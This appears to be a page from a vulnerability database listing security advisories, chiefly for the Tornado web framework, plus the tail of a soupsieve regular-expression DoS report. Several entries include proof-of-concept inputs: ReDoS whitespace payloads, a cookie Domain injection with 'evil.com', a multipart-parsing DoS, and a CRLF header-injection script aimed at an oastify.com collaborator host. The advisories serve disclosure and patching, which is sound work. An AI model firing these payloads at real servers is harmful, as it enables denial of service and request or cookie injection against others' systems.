print(f" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]") payload = "a" + " " * 20000 + "b" dt, st = ct(payload) print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ``` Isolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `"div"+" "*n+">"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `" "*n+"x"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`. ## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`) ``` soupsieve 2.9 VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace): n=2000 len=2002 112.3 ms [ok] n=4000 len=4002 411.5 ms [ok] n=8000 len=8002 1602.9 ms [ok] n=16000 len=16002 6464.1 ms [ok] VALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run): n=1000 len=5002 48.9 ms [SelectorSyntaxError] n=2000 len=10002 194.8 ms [SelectorSyntaxError] n=4000 len=20002 780.2 ms [SelectorSyntaxError] n=8000 len=40002 3145.3 ms [SelectorSyntaxError] [+] Single call: compile('a' + ' '*20000 + 'b') (len=20002) [+] wall time = 10.23 s [ok] ``` ## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`) ``` soupsieve 2.8.4 VALID selector 'a' + ' '*n + 'b': n=2000 len=2002 102.7 ms [ok] n=4000 len=4002 404.3 ms [ok] n=8000 len=8002 1618.2 ms [ok] n=16000 len=16002 6457.9 ms [ok] [+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok] ``` ## Impact — calibrated - Confirmed: quadrati | GCVE Database | ||
| High | 7.5 | EPSS 0.3% | CVE-2026-82397Tornado · Urlencoded body parsing omits max_num_fields, so one request can stall the event loop High7.5EPSS 0.3%GCVE DatabaseCVE-2026-82397 ## Summary Tornado parses `application/x-www-form-urlencoded` bodies with `urllib.parse.parse_qs` and does not pass `max_num_fields`. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server. ## Where it is `tornado/escape.py`, at HEAD `e530031405e2154654dedc4c84d5656b557ea310`: ```python result = urllib.parse.parse_qs( qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict" ) ``` `max_num_fields` is the parameter CPython added for exactly this, and it is absent. The path to it is entirely server-side and pre-dispatch. `RequestHandler._execute` parses the body at `tornado/web.py:1821`, which reaches `HTTPServerRequest._parse_body` at `tornado/httputil.py:636`, and the urlencoded branch of `parse_body_arguments` calls `parse_qs_bytes` at `tornado/httputil.py:1030`. The size that reaches it is bounded only by the body cap, which defaults to the stream's `max_buffer_size` of 104857600 at `tornado/iostream.py:239`, applied as the request body default at `tornado/http1connection.py:136-140`. A 100 MB body of separators is around fifty million fields. ## Impact Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case. ## Suggested fix Pass a bound: ```python result = urllib.parse.parse_qs( qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict", max_num_fields=max_num_fields, ) ``` with a conservative default and a way for applications to raise it. CPython raises `ValueError` when the limit is exceeded, which maps cleanly onto a 400. Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends. ## Why I do not think this is a duplicate The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in `AsyncHTTPClient`, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD. | GCVE Database | ||
| Medium | 6.3 | EPSS 0.2% | CVE-2026-91991sickchill · Tornado: Incomplete fix for CVE-2026-35536: cookie attribute injection re-opened via the legacy case-insensitive Medium6.3EPSS 0.2%GCVE DatabaseCVE-2026-91991 ## Summary The CVE-2026-35536 fix added a validation loop that rejects `[\x00-\x20\x3b\x7f]`, but only for the hardcoded **lowercase** keys `name`/`domain`/`path`/`samesite`. The still-live deprecated `**kwargs` path writes attacker-supplied attribute values straight into the `Morsel` with no validation, and because `Morsel.__setitem__` is case-insensitive, a capitalized kwarg (`Domain=`, `Path=`, `SameSite=`, `Max-Age=`) routes to the same reserved attribute while bypassing the loop — re-opening `;`-delimited attribute injection. ```python self.set_cookie("sid", "abc", Domain="evil.com; Secure; SameSite=None") # -> Set-Cookie: sid=abc; Domain=evil.com; Secure; SameSite=None; Path=/ # Sanity (the canonical lowercase named arg IS blocked): self.set_cookie("sid", "abc", domain="evil.com; Secure") # -> http.cookies.CookieError ``` The patch's regression test (`SetCookieForbiddenCharHandler`) only exercises the four named params, never the `**kwargs` path, so the gap is not regression-covered. ## Affected code - `tornado/web.py` → `RequestHandler.set_cookie`: the validation loop covers only the lowercase named args; the trailing `if kwargs:` loop does `morsel[k] = v` with no character validation. ## Steps to reproduce `GET /upper` (uses `Domain=` kwarg) emits `Set-Cookie: c_upper=v; Domain=evil.com; Secure; SameSite=None; Path=/`; `GET /lower` (uses lowercase `domain=`) returns a `CookieError`. ## Impact Injection of independent cookie attributes (force/drop `Secure`/`HttpOnly`/`SameSite`, rebind `Domain`/`Path`) — the same impact CVE-2026-35536 closed, via the sibling path the patch missed. Conditional on the app using a capitalized/legacy keyword. ## Suggested remediation Apply the same `[\x00-\x20\x3b\x7f]` validation to every entry in the `**kwargs` loop (after normalizing the key case), or remove the deprecated kwargs path; add a regression test for capitalized kwargs. ## Credit Reported as part of an incomplete-patch measurement study (responsible disclosure). | GCVE Database | ||
| High | 8.7 | EPSS 0.4% | High8.7EPSS 0.4%GCVE DatabaseCVE-2026-91990 ## Description ### Summary `parse_multipart_form_data` (httputil.py:34) calls `data.split(b"--"+boundary+b"\r\n")` **before** the `max_parts` check (:35). A 600KB body with 100k parts creates a 100k-element transient list first, then rejects transient memory amplification (each split element is a copy). Pre-auth HTTP DoS. ### Root cause ```python parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n") # :34 huge list first if len(parts) > config.max_parts: # :35 check after raise HTTPInputError("multipart/form-data has too many parts") ``` ### PoC gist: https://gist.github.com/afldl/649861f25d39b53b7edbe0298e171617 `poc.py` + `output.txt` (100k parts from 600KB transient list). ### Fix Count separators without materializing the list (e.g. `data.count(b"--"+boundary)` first). ### Credit Reported by afldl, 2026-07. | GCVE Database | ||
| Medium | 6.3 | EPSS 0.2% | Medium6.3EPSS 0.2%GCVE DatabaseCVE-2024-58384 ### Summary Tornado’s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers. ### Details When an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server. This behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters. This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl’s documentation states: > The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters. pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics. ### PoC The issue can be reproduced using the following script: ```python import asyncio from tornado import httpclient from tornado import curl_httpclient async def main(): http_client = curl_httpclient.CurlAsyncHTTPClient() request = httpclient.HTTPRequest( # Burp Collaborator payload "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/", method="POST", body="body", # Injected header using CRLF characters headers={"Foo": "Bar\r\nHeader: Injected"} ) response = await http_client.fetch(request) print(response.body) http_client.close() if __name__ == "__main__": asyncio.run(main()) ``` When the specified server receives the request, it contains the injected header (`Header: Injected`) on its own line: ```http POST / HTTP/1.1 Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com User-Agent: Mozilla/5.0 (compatible; pycurl) Accept: */* Accept-Encoding: gzip,deflate Foo: Bar Header: Injected Content-Length: 4 Content-Type: application/x-www-form-urlencoded body ``` The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of `\r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server receiving an additional, attacker-controlled request: ```http POST /attacker-controlled-url HTTP/1.1 Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com Content-Length: 4 Content-Type: application/x-www-form-urlencoded body ``` ### Impact Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities. | GCVE Database |
Page 2 of 3